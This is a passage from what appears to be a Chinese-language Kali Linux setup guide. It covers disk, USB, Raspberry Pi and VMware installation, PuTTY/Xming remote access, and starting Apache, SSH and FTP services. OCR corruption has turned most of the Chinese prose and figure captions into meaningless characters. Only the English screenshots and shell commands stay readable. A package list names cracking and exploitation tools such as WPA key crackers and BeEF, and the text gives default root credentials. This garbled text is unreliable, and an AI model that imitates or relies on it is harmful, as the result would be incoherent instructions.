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(ERl—AarDp (HEFERT AR 7, SRAS Rl “akal” $Hedll, ol 112 Biorm
F-I0

.Ei



# 14 Linux &-5iBaE i

HENE

EtEEAE
SCSI12(0,0,0) (sda) - VMware, VMware Virtual S: 85.9 GB

L ESTLERSHFENSRET IR, NRTFXRE. HLEE—H%,
HEGE :

SRR ER— - 2EP (EEFFER)

i fhome HERBFSE
& fhome, jusr, jvar #{] tmp 353 AT £ BF S E

FRRE Em || e |

P 111 CiEFEE

BENE

HETENE BRI EOEHE S TSEE, FEE- T HELERE IR (HER, BASE. mEE-NTHTELNRFHE. T
B fF— it & LA E K E .

HEMS

F RAID @

EEEHEEH S

EEnEE

- SCS512(0,0,0) (sda) - 85.9 GB VMware, VMware Virtual 5
= #1 IoE 82.4 GB f extd !
= #5 FHEAE 3.5 GB f  swap swap

R S i e
SEIEA LS NS

EEsE || W |  &m@ i

112 R X

(12) FiZF R “ X ue g i BB A A", RIE R “qrat” i, 4
SR 113 Prosig St . G R AT EE A DG, W BLFE IR FLAR R SO PO B
LS (55

(13) fEAZSFMESE “2" ik, M55 “4kal” $24l, BErwE 1.4 Frorir)
TR -



5 1w Linux 87498 it Ak il

HENHE

TS, LTFAAEAE AT RS AR SNEE L TE —FrFER DL
LT E ) nE SE mE
sCsI3 (0,0,0) (sda)
LI FHE R EE i
5C513 (0,0,0) (sda) i#& CAR 1 HEFEETEY extd
SCS13 (0,0,0) (sda) i#& LRSS HEREIEY swap
BRSNS AREY 7
e =i

® &

P 113 RS

EERE

EHEZERE..
FEEEEENTEE.

P 1.14 3k 545

(14) ARG 23 R4 7. (B2

T B UR s S i L (=) NN 1 RS TR
b 1.15 Elrmc. izl Kali Linux R80T

SR M e 1S, RS ik
CET OSIRMHE, MRl CqkER”

. XHEIERE <t FikHE, R wE 116 B
FEIH] .

ERTES0wes

EREALETE
[ R OILIME i ETImT R, OISR R R .
ORTEER HTTP AMEEEAETS. AEdENAfEnNEs. =0, fE=.
B RS {im@E BT http:lme Bk ER @] 0 EL RO e e,
. HTTP (&8 (IR TFED :
|

REKE Em [ e TR HE 2
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(15) fEiZFt i E HTTP L AE . '&]Iﬁé?ﬁ’.ﬂ.}"&iﬂﬂi‘l HTTP fUHUAIE £ 31| 2Rl
AR, FREERL RS fRHl, R RasinE 117 Prasi S .

ERfsaERE

[ T

EETITERRAS...

mA

P 117 R sl

(16) MBS S5 s, B = 1,18 Frasir St .

ERVHLERS

AR ME B A B N MR - dER. TNTE. EETECNEE, BT TR mEMmEE.
Debian TERIEFEIEE :

BRI
SENELE
#ﬁh: ¥
e

&8

Frime
ARESTE
sE=
kg |
i)
=

e

FE 2 AT
=E

E&E

|

=___[i
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P 118 BRI [ 5

C(17) fE SRR B AT E S, XS “hE” , 885 i “gka” %,
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(5] bogsgih §.1 ]

k
ifiZfe—1" Deblan OE&KRE. ORTFHNES - RESEZ0N M EET. #ERUTINEY EE R

EN. Rp.<THETHE>. debian.org S8 —{-FigfiklF (F5f 2w, PEMPEEGHERRYP, ORTTEEREETHS
B HAE[RLEEE.

Debian TEER :

mirrors. 163, com

ftp.cn.debian.org
debian.ustc.edu.on
cdn.debian.nat
www. anheng.com.cn
debian. bjtu.edu.cn

mirrors, sohw. com

BEE & [ geew |

FE1.19 ikFEEE

# GRUB EEZWE

Fﬂﬁ}ﬁ‘ﬁ ERRTE R TR C AR . MmN, TEETLE 2 GRUB EE | S ERERESERMEE I SER
MEBR) L.

B MRDEEETEETATEN LB FENETIMERT, EXEs | SCFIFUTRETRTRATER. B], TEILIH
ERFEE GRUB LISITE,

# GRUB E=5I FRERATEIFiC R (MBR] £M 7

-

v [}

E | EE l

¥

1.20 # GRUB faahyg| eas %8 4] Fidsx (MBR) [
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(19) fEiZSHmEEse “i” SikHE, SRgmaly “4k4:” #dl, HEawiE 1.21 Frasi
FEIH] -

% GRUB REZ#E&

EE GRUB 5718158

iETHEFT "update grub™...

[ 1.21 % GRUB #3554

(20) BERFAFARELFEAT 2%, SGim el Bifn, B 1.22 Frosi #r i .

HERERE

T IThRE
TEIREERER. TREAFATHRREIRT, FRLEEFRHTERTHEE. §8). LIS TSR BRR iR
FHRES.

R B am || e

B 122 SiWlddaltis

(21) FeZFrim ey “akat™ fedll, RRRM B2 REid . ok, HFaaa)
HOfT A sh &9

142 RIHEZE USB IKEhzgs

Kali Linux USB SXah #3824t T —Fr e Sy, & ik A IRAT RE0 1 E /K A M 7t USB
W b defba, FH RV P E T A A PEfR I Kali Linux. 76 Win32 #3540 b
il Linux RATHUE— P55 Live USB JE0 2%, & 104 Kali Linux (IR fE. A1
144141 4% Kali Linux 52 USB ZRah 23 1815 D 5% .

DR RE R ST USB Wah 4% A 36 S il i A7 )00 A) . BT LL, oF 408 2 iy Zifil
—UEE R TAE. flim, M3 Linux? USB JHEh 831507 USB WANEER S/ h T ceneee F
(MR E — e gk,

O > FAT32 #2001 USB Szh3s, IF H /AT 8GB (117430 .

O > Kali Linux ISO m{%,
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Q Win32 @R (MRS UED .

O 4k Kali Linux M http://www kali.org/downloads/.

A AHE S TRz G, sl DR 3 R0 T . %% Kali Linux 3| —> USB 3Kzl &%
E AR PR R .

(1) #HAF] Windows RZE— ks AL IF H a5 A1 USB 2Kahds. NG, Wit
e 1.23 Bros.

« HolEARERATIE (4)

$ BD-ROM E3NER (F) $ DVD RW B3R (G2

KINGSTON (J:)

é CD ERNEE (H:) ﬁ—' |

28,9 GB W[H , & 29.0 GB
B 123 wlsahis &

(2) J35) Win32 Disk Imager, Jizh %410l Pd 1.24 frox. 45 Image File fir &, #ifi &#
PriL$E Kali Linux DVD 1SO MU RTE (147 B, EFEYS 24038 Kali Linux [f] USB i %, 44
PR S Ko JEFE 1SO BRSO USB ed /e, Hidy Write %81, o 1SO SXIFEAH
USB 3zl |

§
%4 Win32 Disk Imager E=NEEE™)

Inage File Dewice

I /TSOMRMRSTPE/Kali /hali-1imue-1. 0. 6-i386. iso =

Copy | [7] D5 Hash

Frogress

I |
Yersion: 0.9.5 Cancel [ Read ][ ¥rite ][ Exit ]
Done.

P 1.24  Win32 Disk Imager #4551

(3) {#H] UNetbootin " F.Hfi% & K flp—4~ USB Hah#k . J5 8 UNetbootin T JL, %
SLontn P 1.25 Fr s SR .
2 UNetbootin (= [

O KT @ |“ BEERTIR == -] [I: “REL = ,,l
R WWstbootin, MMFEEESISEENM. BE:

; B ATRET N R e

& ABRE o B AEal i Vkali-lisme—1, 0. B-i 358, ize [Z ‘

Spuce uzed to preserve files weress rebosts (Mbumtu cnly): 4006 + NE

matm): [vse MEhE - MEHE 00: (KA # [ wE  mA

el 1.25 EROEEER
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(4) fE %S R FE R B (R " ke, 85 3 1SO SCIFITFE 4 ¥, F74% Space used
to preserve files across reboots 1T 4096MB .

(5) IEHE USB Hiahds, APy USB BKahd8h K, SRIGHd “#E ™ 441l R
gty 5] 1) USB Szl i

(6) GRS, FHionnlE 1.26 Prosii FHii .

(2 UNetbootin ESES™ )

1. TR G

2 RIS G

3. BHE Beotloader RRE)
4. TEFE. B8 oHEh)

ﬁgym B mRikE b B &5

ft T Bt |

P 1.26  UNetbootin 283858 1

(7) B, USB SRahd Gl e 7. ez ftimseds “BfesER " fidl, #3EA BIOS
A&l P LR SR USB A3, @ n] BLE223E Kali Linux #1E R4 T,

143 RBEZEREIR

PREIR (9230408 “Raspberry Pi” {65 24 RPi) b3l T~ ARM FCRL AL i 240
LA SD RO NAEREAE . O TR, FERAEIR %23k Kali Linux i — N ARIATESE. A
TR AR E R R IR B 2 Kali Linux #47 R4¢.

(1) M http://www.offensive-security.com/kali-linux-vmware-arm-image-download/[* 5
AR TR R R o, OO 44 0 kali-linux-1.0.6a-rpi.img.xz.

(2) FREAIBG RS - Rgat, WEEEH] 7-Zip HAnPorF i . A s 428K
kali-linux-1.0.6a-rpi.img.

(3) fEEH] Win32 Disk Imager -5, $ff H 5 0w oS5 A B8RRI SD frbe A
Z)) Win32 Disk Imager T H., #5 B~ Wild 1.27 Fros i fii .

3 Win32 Disk Imager b= B e
Image File Dewvice
[G:A\] -

Cepy | [[] MIS Hash

Progress

Varsion: 0.9 Cancal Rend Hrite

¥ 1.27 Win32 Disk Imager izl 5t ifi

v |5 .
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(4) 75 1% S s 8 P b, 64 kali-linux-1.0.6a-rpi.img, 5 G [ 1.28 Bros i) 5.
(5) BEEFE 1% S e oy Write 281 85 5o Wik 1.29 B F i .

[ %4 Win32 Disk Imager Lo ©
Image File Device
F: /TSOMRMR TP /Kali fkali-Llinu-1.0.6a-rpi. ingd 60 ] (i3 Confirm overwrite
_ S—
Copy | [C] MDS Hash 4 Writing to a physical device can corrupt the device.
Frograzs (Target Device: [G:] %)
l | | Are you sure you want to continue?
]
Version: 0.9 | Cancel | Read || Write || Emic | e e
I
P 128 s o AR S f [ 1.29  #iiAS AU R4

(6) ZFFMILREHHE LR MATGAR G B&EW? IXHUIEFE Yes, K RasiE 1.30
FIENE T
(7) MigStinnl A S EES NS . SN, #Sox i 1.31 Frosi St .

(% Win32 Disk Imager — B

Image File : Davice

P /TSOMRM IR Kali Mleadi-Lirnoc-1. 0. Barpi. ing

Copy | [C] MDS Hashk %% Complete

Prograss g Write Successul.
- | = ii

Verzion: 0.9 Raad Trite
M 1.30  FREE A EudE B 131 seRksS A

(8) MaZFti o] LLE RS A EA R . BBl OK 4% 61, iR [l 2 1.28 frasi 5t
M. #%)5 s Exit #2411, ¢ Win32 Disk Imager 1 H..

(9) BEif A Windows R4l SD &, Jf HAS HAGEA BB BEIR b . AR5 RS B
dre A Mg, BlAR, BEEUAEYE, JLEP S ) Kali Linux #:E R4, /] Kali 2R
H P s fvE i o, JERA R P #2115 4 root 11 toor.

W P e 1543 F B R IR L 1) Kali S [Rl4E— 215 2 PR BRI, 3xX B aT LL#E ] PuTTY
Yl e 35 sk B Kali 11417 B T-7E Linux ' SSH IR BRI E I shit, BTLLH FooT LA7E
PuTTY "} 4 ] SSH 45 22 & CAS F0% #3) Kali Linux. PuTTY AU il 5 45 2
PHEIR 1) Kali #20F R0, 0] LUE RS 28 fe T g4 L) Kali 8 F R 80 Rk 4
fEH] PuTTY T H, JCfESE S Kali Linux #0F R4,

(1) T4 PuTTY [ Windows it 4s.

(2) JA8) PuTTY TH, R Wi 1.32 B .

(3) fEiZ% i, Host Name (or IP address) MW 1) 30 AHE Hhig A Kali B840 [P Hihl,
I H. Connection type i£4F SSH. #A )5 Hili Open #48, # WaawibE 1.33 B fim. g
ANHIE Kali 548 1P [14%, 04T ifconfig dr 45 .

R
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8 PuTTY Configuration - et
Category:
[N T— TR R Y, | -
Legging s
&1 the destnation want bo connasd 1o
",'=": Fiost Name for |7 address] Pot
el 152 168.6.101 ]
Features :
= Window | Faw Teinst ) Rlogn @ 55H Senal
Lppearanice
Behamscar Lowd. save o delete 2 stoned sesmon The server's hast key is not cached in the registry. You
Trarslation Saved Sessions have ne guarartes that the server is the computer you
Selaction think it is.
Colours Defat Settings The server's rsal key fingerprint is:
= Connaetien | toad | sshrsa 2048 07::c5:2a:1:62:3b:75:04:0d:6c6b:82:45:21:48
Data Save If you trust this host, hit Yes to add the key to
Prroocy [—] PuTTY's cache and carry on connecting.
Telnet If you want to carry on connecting just once, without
Flogin adding the key to the cache, hit Mo,
#-53H  you do not trust this host, hit Cancel to abandon the
Sedal Close window on exd: connection.
DMy (O Never i@ Ordy on clean et
[ Open || Conce

1,32 PuTTY [ H M 1.33 SEEE

(4) A T—NESER, RN TRl EERERZ R4 %A
HE R AR — GERE G BN A i i o X By “” 428l Wi 1.34 Brasid
Fr-1i o

'j 192 168,6.101 - PuTTY

lagin asi root
root@l92.168.6.101"s password:
Linux kali 3.13.0 #1 PREEMFT Sun Jan 26 03:02:20 TIC'2014 armvél

R )

The programs included with the Kali GNU/Linuk system are free softwars;
the exact distribution terms for each program’are described ip the
individual files in fuszr/share/doc/*/copyright.

[Kali GNU/Linux comes with ABSOLUTELY HO WARRANTY, to the sxtent
permitted by applicable law.

Last login: Tue Jul & 07:51:02 2014

root@kali:~# [J

B 1.34 T3 Kali &4;

(5) fEiZ S Kali ZRGEER A ) HT - i FE B 65 o B R 40 BAEal vl AYEIZ R & T,
AT a4 T

WA P AS S ar- AT FRAERE, r] Bl i%E 23] Kali Linux F)E B f. F
MG 4 L %% Xming 800, SCHLAE PuTTY FIEESP) Kali 4315 R G0 P2 A .

(1) M http://sourceforge.net/projects/xming/# x4 4% Xming #F.

(2) A8 N4 Xming B, FF ol 1.35 Fros iy 2.

(3) EAMEs T Xming FOUG0E B B8 Nexe #2481, F@ntnE 1.36 Ao
Fr1H -

(4) fEIZFHIEFE Xming (230 E . XRATHERIAMAE, i Next 168, 5
ASHTE 1,37 s S .

(5) {E1% SIS 2 e 1AL . X BLIEFE Don’tinstall an SSH client 41, #85 fiili Next
Pl ko B 1,38 Fros it SR
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Welcome to the Xming Setup
Wizard

Thes will rstall ¥mang 6.3.0.31 on your computer.

i recommendad That you closs ol offer spphoations belon
Coninung.

Dk Mext 10 continue , or Cancel to ext Setup.

Seleci Destinalion Localion
Where shoukd Mming be retabed?
* Saetup well st g s Yo Permrsg it

To contirue. click Mest. I you would ke 1o sslect a diferent folder, chck Browae
C\Program Fiss BE] s | Browss |

A least 4.7 WE of free disk space & requeed.

[<Baek [ et | [ e ]

B 1.35 i S

Selecd Componenis
‘Wihachi ¢ should be L

Selnct e components you want to retall dear $he componants you do not want 1o
iratall Chokc Mesd whan you ane neady 1o continue

| Cmton roabaton -
vy by 41 6B
4| Hon US Keybosd suppont. 14 MB
] MLaunch wizand - iortend for Xming 108
! Rl ulility - starl progeams: with hidden coraols window 0ue
Momal PuTTY Link S5H clert (T
Poriabls PuTTY Link 55H chent - use wih Portable PuTTY 03Me
|

Cireni selesction requenes at least 3 0 ME of dsk space

B 136 GEfElelr®

Sedecd Star Meru Folder
Whasre should Setup place e program's shofdouts 7

1 Setup vell crele the prograns shorouts i the folowrsg Start Mera foider

To contirem, click Mt 1 you would o 1o select a dieent folder, chck Brovwas

| Dont cresie & St Meru folder

)] (o

e ) (ome]

M 1.37 Rt

138 R Bl oo

(6) TEIZFIESEE BRI, X BB Xming, 0 SAE{E H A R A SCfF 2,
it Browse & 4ILE AR A0 CAF M. W RAERIERIARY, T FAdy Next #2251, ¥ B 1.39
HT 7 i) S0 -

(7) {EiZAMEFE Xming G FPREETT . IXHLIEFE Create a desktop icon for Xming
CFEs I b a bl ) S, SR)5 i Next 4240, R Lot 1.40 Bros i i .

Select Additional Tasks
'Whach addional tasks should be pedomed?

wﬁmmﬁmmﬂh Satup o parform whils nstaling Xming, than

ASlicral oo
| Crmabe & desldop con for Xang
| Creabe & desidop ioon fior XLaunch
Comate o Chusick Liunch icon for Xlaunch
Other baslon:
| Associste XLaunch s wih the ssunch file exisnsion

Ready o install

Setup i now neady 1o begn nsialing Mming on your compuber «

Click: install o contnue with She instalstion, or ciick Back ¥ you want o rewiew or
change sy seitirgd

Drestrishon location
' \Program Fles cBE)Xming
Sehup hype: =
Custom inatalistion E

Rumn utiity - start programs with hadden consobe window
Do install an S5H chent

[ <ok [ Wee> | [ coce |

Lcback [ bwat | [ e |

P 139 ZEFERAMIAE %

v (8.

P 1.40 R % 8E Xming
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(8) JH ik AT A0 Bk Xming HEAT THCE . BRAEMER %%, Hhili Install #5041, 8 on
nPEl 1.41 B i) 5

Completing the Xming Setup
Wizard

Setup has frashed nstaling Xming on your computer The:
‘apphcabon may be launched by selecting the nstaled icons.

Chck; Finish bo edt Setup.

[¥] Launch Xming

P 141 L35k

(9> MAZSAAT LAE ] Xming #AF23e5eml. B i Finish fZ#0E B8, JF
H Xming ¥<:i297. WRAME Xming 20106, #F Launch Xming fif (1 52 ZEHE 1142
P L

C(10) BIAEAT HF PuTTY T H, Jf H¥A Kali &S00 1P Huhl, wifd 1.32 B, SRS
PuTTY Z:(N#% Category FKi%i%+E Connection|SSHIX11 fix4, W nwifE 1.42 B
-?rl'.l-ﬁ-l.ﬂ

(48 PuTTY Configuration . S~ =5
Category:
Keyboard Oplions controling S5H X11 forwarding
Bal %11 forwardng
S Wind [#] Enabia X11 forwanding
| Hppesrance ¥, displary location localhost 0
[Bahawour Remote X11 autherticaton protocel
Translation @ MIT-Magic-Conks-1 XDM-Autharization- 1
Selection ¥ authorty file for local dsplay
Data
[Preay -
Teinet .
Rlogin
= SSH
Kz
(¥ Auth
Y
X1
Tunnels
Bugs L4
Seral -
[ open ][ conce

M 1.42 BLE PuTTY

(11) {EiZ S FE Enable X11 forwarding EEHE, J§ HAE X display location A W [t 3¢
AFEP 4 A localhost:0. 8 )5 Hity Open $%4H, J12) PuTTY 24 (- S Xming 7Ff5
Hi217) . AR Kali REMH P AR, RIHERED Kal #5725, W8 1.43 Fros.
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[ 1921686101 - puTTY ESET=)
login as: root -
root@192. 188, 8.101 s password: _l

Linux kali 3.13.0 #1 PREEMFT

che sxact disctribucion cerms

ermitted by applicable law.

root@kali:~#

The programs incluoded with the Eali GNU/Linux system are free software:
individual files in Jusrc/share/doc/*/copyright.
1i GNU/Linux comss with ABSOLUTELY MO WARRANTY, to the extent

Last login: Tue Jol B 08:27:

Sun Jan 26 03:02:20 UTC 2014 armvél

for =ach program are deacribed in cthe

37 1014 from 192.168.6.102

Pel 1.43 G P R

(12) MIzZSH el LLE B8 TERE S| T Kali #21E R245 . e ] DLz F 3 Kali 119

B T, AT fr 2 s
root@kali:~# xfced-session

WATLL B S e, GRS R F) Kali BE4001 S0 .
L F®E: £ PuTTY T, startx 44455 4T,

1.4.4 ZZIEZE VMware Workstation

VMware Workstation 52— 3 D G888 R (1) 5L RS UE SOPLER . & sevr I FE i — 10 R
b [F AT AN A R g . P e b el LT TR A0 LR B R R |
Ao A IS 10,001, 55 F bbb hitps://my. vmware.com/cn/web/vmware/downloads. 4~
AN AT 434E VMware Workstation | 223 Kali Linux #:{F R4¢.

(1) k35 VMware Workstation, 1 St 1.44 B 5L .

Fii Vidware Workstation

[

T REE) RV EKM) BEED WS
P-lo | LOY  D=X 6| DO

@ E@m <

vmware

_Workstation

Er i'
. n SUEREISIE
I:]liiiit] FT R

10

S ST ERL.

et il

EREmi
iR S A,

Ligad-
18 Vhiware Workstation SIETIE TN,

o ).

Wiiware Workstation 10
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(2) fEizStmpat “olg8smn BRIy Eir, B 1.45 Fros i) ¥ .

(rResnms -

' 14‘ FCi {5 A a2 EE UL S

e R L R

@ mEGEENT)
N A RE R EER Workstaton 10.0
Eiein -

i

B3 (EB)(C)

‘@!ﬁﬁ SCSIiTwigEs. EMM;E
vImware %ﬁﬁ;ﬁ VMware =E i8S FEIER
Workstation

i
| omA |

/145 BB S

(3) SR R RPN ZEA, FF <l Fce goE 7 b, X BHEREAH]
ST TS RIS R R 2T R, R s AT 1.46 BT A

G ]

BERFALEERS
EiinE NS, SEEERR - SHnTEEEFTEERR?

R
THEALE):
&L} BD-ROM 352h3% (F:)

| TR SRR (5o )(M):

TSRS 7 Bh\Kal kal-inux-1.0.5-386.0

o WHEEERERE(S).
BEFEUERE—TaEa .

My [<b—#6) | [F—#m)> || m# ;|

o

B 146 Ledem iR RS

(4) &5 R FR i 38 PR R 8. X IER R w2 e R1a” .
fa iy R el B Rt PE 1.47 Bras i A
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(sRennms ' )

BRETPHLERRR
N e SRR (R

BB ERER

() Microsoft Windows(W)
@ LinudL)

() Novel Net\Ware(E)

© solari(S)

2} WMware ESX{X)

O #no) |

wE(V)
(B Lnux 2.6.x Fi: =

[<r—#6) | [F—200>] [ ma i

5 1.47 JEHEE LR RE

(5) FEIZF R E RGN A . XL Linux 0F R4, MACH AL
Linux 2.6. X Wk, Rl “F 07 &, 55w 1.48 B 5.
(rreaanas )

wEERn
EE AN SR LSk

BRIV

Kall Linux
irk- (LW

D\ Kalk SAECR). ..
T 1R > R R A |

| <b—%(B) | [ F—#M> || J

M 1.48  drd L

(6) FEIZFHI A BINLOE — 25, B BRI L s . wE s, il
CRedBT L, KR EE 1.49 FroR i S .

e
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[ waannss . - X
ErRETE
it B 7
mmﬁﬂmxﬁmm‘?' IR R AR
o B ETERIAA EERIER « 0w S A o
Bt (GB)(S): solo =

9 B Unux 2.6 PaiE iRk & GB

O SEiNELR il o8 30EH(0)

© 13RS I R 1 SR (M)
EE“JE. BIL BT AL BRI (BETRESIR A TR am

(k=0 | [T—2m>] [ ma ]=!.

5 1.49  JiE AT A

(7) fEiZA M E A AR . WA L8 IO R AR DO R AR,
A R AL . YN S0GB, MRSk R T HeEl, R 1.50
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F 1% Linux %408iE 4T

LA (LRI

Boot menn

Liuve I.l"||||:||:-:-|:|. rnde )
Inztall
Graphical install

Inztall with speech synthesis

Press ENTER to boot or TAE to edit a mewu entry

Pel 1.53  “edb L

(12) $FE TR EIGIFRAEE 141 D g i i—FF 7, XA PR .

1.4.5 =3 VMware Tools

VMware Tools f& VMware FERLELT (37— Fpi iR T | ssnw | s2n =6

H, B VMware $2{E80 90 0 5 R SLrEGE, LR, O =8

j EESTAR(D)

[F0 IR UL L B IR s . R VMware Bl g% CirlShift+P
Pl 2B 0 VMware Tools T HJG, A fESCHLEHL S BERIHL i;;:;i:—ﬁ.l:—ﬁ-el .
Z IR AR IR s, [H]I Al S0 fy H e B A Th e, Rlbstho] G REN)
fEREAUNL S EH L2 6] 5 B 8h CA R FHE Cul+Alt 458D RERBC) Curl+Alt+PriSen
AN HE A4 VMware Tools B 3% , ::MM;M"'

(1) 7E VMware Workstation JEHR 1, (RUGEHE “HE 28 viware Took.
fUML” | % VMware Tools...” w4, WiE 1.54 B, T ess.. CulaD

(2) E4% VMware Tools g-*ﬂsfF'ﬁJ-J':l-‘anmtf-:drmm"E1.%13:::- 4 1.54 4234 VMware Tools
AT o S N T

root@kali:~# mkdir /mnt/cdrom/ REEEH S

root@kali:~# mount /dev/icdrom /mnt/cdrom/ HES IR

mount: block device /dev/sr( is write-protected, mounting read-only

3Ll Erdnfs B, #2% VMware Tools %32 FEAEER D) T .
(3) e H, B LA VMwareTools. 04T dr 20 F Ao

root@kali:~# cd /mnt/cdrom/ #10 H R
root@kali:/mnt/cdrom# Is EFEHH AR TR
manifest.txt VMwareTools-9.6.1-1378637 .ta r.gz vmware-tools-upgrader-64

run_upgrader.sh vmware-tools-upgrader-32
root@kali:/mnt/cdrom# tar zxvf VMwareTools-9.6.1-1378637 tar.gz -C /

HERIE VMwareTools REEEF



10 Linux %878 Mt ALl

AT LA % 5, VMware  Tools FEIFE8 i 2/ H sdp, JRER 4488
vmware-tools-distrib {202,
(4) P#3] VMware Tools ) H 3¢, it e . $ATa2 0 s

root@kali:/mnt/cdrom# cd /vmware-tools-distrib/ #1318 B R
root@kali:/vmware-tools-distrib# ./vmware-install.pl HEITREERF

WATLL B A e, SIS, X R CRIAET B, JESEERIAE.
(5) EH AR,

1.5 Kali %5 K

AP P — B RIS, AT A SR AR A AT A (L I R G T T AR B A, T

B 194 Windows RZE R, AWOR 1 S0 Linux 4772, 534k, Linux 4% 5 ik 2

AT RS, TR HOBAEH I, Linux K ATE R 1% 20 R0 . 23X

PERORS R, 2220 Linux 34T PR AR ) T A0S 41 Kali (095 5 57444
ST Kali () SRR L I F AR, |
(1) FEPEIE SRR IR £ “M R | “ & m KEE TS FUSREAS B 6T

e LEH” | “EMFEET s, R 1,55 B HRAME SRS AR SIS,
ENIEGITR WE(C) | W)
(2) AZ St PE iU & T 2= LLFF B P S
BTN R, W Rigkaz, fidy “aflgkae” 155 EEEE
Y, FEEaswbE 1.56 st .
wEEH T x|
345 T EFE A
SHEHTEERAPNEE, H RS RAUREHERINE,
T

= An 80211 WEP and WPA-PSK key cracking program

o Apache HTTP Server metapackage

- A-pache HT'.rF‘. éer.uer - tradi.tional non-threaded model
o utility programs for webservers

- Apache HTTP Server commaon I:l.irlar'.l files

- Apache HTTP Server comman files

- A tool for reverse engineering Android apk files
Y iFHEER
© =mEFED

E&E 345 BN (971.5 MB) Bt (@) THEMRO
2 1.6 §{F

Iy .



1% Linux Z5i8iE 04

(3) iZFFHL Ay T RJEAT 345 PMRIF AT S, Pl “ e &l #riasi
9 1.57 Bt iy 5 i

(4) iZ S s T 8 B OB BP0, By = gREE” 1541, F sl 1.58
I RIE T

31 o[ x|
o EEmAWmi

BEHU TR , BRBREBEREN, 345 TR TR
Y EERTI B E YA, N TR BRI,

| |
| & | k& = Browser Exploitation Framework (BeEF) — bundled ruby Li... &

ATHEMHER  ERERELUTEE 630.2MB
= A firmware analysis tool
,g arp scanning and fingerprinting tool I I
_. Bluetooth scanner and logger

g Ethernat/FDDI station activity mortor
- Mass SNMP scanner

g light download accelerator - console versi

- Bully is a new implementation of the WPS brute force att.

r Micrasalt Cabanat file unp.:u:l:zr ) ) )
ﬂ _, Metwork sniffer to extract CDP infarmation

Cenfiguration tool for amateur radios
] Custom wardlist generator

wmme
- TREE G @ EETRete
HiA(C) i BiEIE 345 -TEH (971.5 MB) Bdii@)
#1.57  fkddEa 1,58 dRfF R R

(5) MAZSF ) LA BEOE ) — AR RE . R St i, o) UG B S A ) — A
Ptk . o, B i s M@ br, Foniz BRI E L R B k@ bR, 2
APAE O T WRFERH RS @E RS, R w RS, WEEHRY)
RYL; XL LR e, R e SR . X R IR R, RS E
fRsh &g EHEFMERD, RTROTRAESAshS3E 5. 1w, EahEEL
HIFY.

(6) EHEaI RGN, TR FREHNIT Isb_release -a 7y ¥ A F L HiHEIE R T A
AAG B AT AW R B,

root@kali:~# Isb_release -a

No LSB modules are available. HITHAY LSB &k
Distributor ID: Debian HEITHR
Description:  Debian GNU/Linux Kali Linux 1.0.6 HEIR{FER
Release: Kali Linux 1.0.6 HERIER
Codename: n/a #E=S

MATH IS B, aTULFERIYET RS AN 1.0.6. Ll Edr 4B T Fr4 1Y Linux, 19
% RedHat, SuSE F Debian 55/ 1T, WIS A RA S, v LLEEF/ete/issue L IF. AT
fir 4 W B

root@kali:~# cat /etc/issue
Kali GNU/Linux 1.0.6 \n \l

M B, ATRUE 21024 § RS R 1.0.6.
27



H 1k Linux %2 47388 It L il

1.6 X K& &

EAVINS 2] T Kali Linux #{E R2E0010 08, w3ty qain] LSS R4 7. A
o) e TN R DT B W = o i = R W SRR S TR S T i I )
¥4 F Kali Linux (15 A58 5.

1.6.1 B:EARIARSS

Kali Linux B 7 JLDME RS, 2 AEREARI. (B0 REAIR . EIXE,
SR PN S TR PR L ) S el N

1. B#hApachefR &

7)) Apache filt45. T AW IR,

root@kali:~# service apache? start

it A5 B fr s

[ ok ] Starting web server: apache2.

farth 15 B4 Apache s &G sh. b VARG 217 IEAEIEdT, AT BUAE Y 4%
Ty i) A ek . 7R YE S U ) A R H ki RS RSIETEZEAT, M R infE 1.59
FI 5 0 1

lceweasel lBIILJ“
File Edit View History Bookmarks Tools Help
| inttp://192.168.41.235/ |-i-|
& [ 19216841235 v @| [B~ coogle a 4
Ef Most Visited [lOffensive Security " Kali Linux " Kali Docs KBExploit-DB W Aircrack-ng

It works!

This is the default web page for this server.

The web server software Is running but no content has been added, yet.

P4 1.59  Apache it 45 85 15 o) 5710

2. BshSecure Shell (SSH) AR%

Ji1 %)) Secure Shell (SSH) %% . M Arom2 W F AT

« I .



1% Linux &5 iBiEN AT

root@kali:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.

A 2 LA 4t 28 SSH RS D28 i ah. i 1T il IR 25 i S gk Wy, AT R
s ) i 4
root@kali:~# netstat -tpan | grep 22

tcp 0 0 0.0.0.0:22 0.0.0.0:+ LISTEN 7658/sshd

tcp6 0 0::22 L LISTEN 7658/sshd

3. BEIFTPRRS

FTP iS5 BRUE B 28, Brd "’"fftrm'é;ég ¢ FTP % 4% . 7F Kali Linux #:E &4

(A F s P BRI B AT $2 00 FTP (RS- 850 2o betl, X HLRF B0 & NPl B0 B R
HARRAE D F PR,

(1) #8 APT 8. [ R ete/apt/sources. list "P I EL R JLANBE (S M i . P AT
A0 F PR

root@kali:~# vi /etc/apt/sources.list

deb http://mirrors.neusoft.edu.cn/kali/ kali main non-free contrib

deb-src http://mirrors.neusoft.edu.cn/kali/ kali main non-free contrib
deb http://mirrors.neusoft.edu.cn/kali-security kali/lupdates main contrib non-free

A INsE LA LA RIS, R ORAF sources.list SCF IR H o FE & F, dRINR R FIE
PR A [H] e A 25 . JErp, deb FR A DEB 09 H 3%; deb-sre 511 LI H 5.
BAHCEREFESERE, W RUAR$E T debsre. IH T deb-src F1 deb S B 6 H IR,
N LAASGE 52 deb-sre, {H Y7538 deb-sre [ {5, deb A:A 203552 11 .

(2) EEInse A, .r’.;-_iiﬁbf_hifﬂif’l-@s'mhr/fnlu{i.lllu oA, AT
e r By

root@kali:~# apt-get update

By G, S ashE .

(3) 3 FTP adsas. $UATamS W R R

root@kali:~# apt-get install pure-ftpd

W) FTP 55 2%, sinl LR ahiZ kRS 1. AT dr-S W Firas:

root@kali:~# service pure-ftpd start

4. REPIMNE

Kali Linux 4§ {E R BB S A e b SCmAGL, TR/ 48 e /g v S0 NG
AT Ay S AR

root@kali:~# apt-get install fcitx-table-wbpy ttf-wgy-microhei ttf-wqy- zenhei

PATLL B e, ARG U AGESUE R I T . SRR, TR E I A% L
fa AW EMER] . s SO AGE, AT @k B

root@kali:~# feitx
root@kali:~# [INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1 /srcilib/fcitx/addon.c:100-
fin &5 B n el 44 B B 32 - feitx-table.conf

« 20 .



1 E Linux 2840838 W) 5l

[INFO) /Muild/buildd-fcitx_4.2.4.1-7-1386-14w6Z_fcitx-4.2.4.1/src/libffcitx /addon.c:100-7n#% M ansE#HEC &
34 feitx-xim.conf

